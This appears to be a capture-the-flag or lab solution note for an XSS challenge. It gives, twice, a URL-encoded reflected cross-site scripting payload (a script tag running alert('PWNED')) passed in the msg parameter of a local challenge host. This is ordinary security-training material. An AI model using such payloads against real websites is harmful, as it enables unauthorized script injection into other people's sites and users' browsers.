Send the script (AS IN xss 2) as a url parameter
http://challenge.localhost/?msg=%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E
Send the script (AS IN xss 2) as a url parameter
http://challenge.localhost/?msg=%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E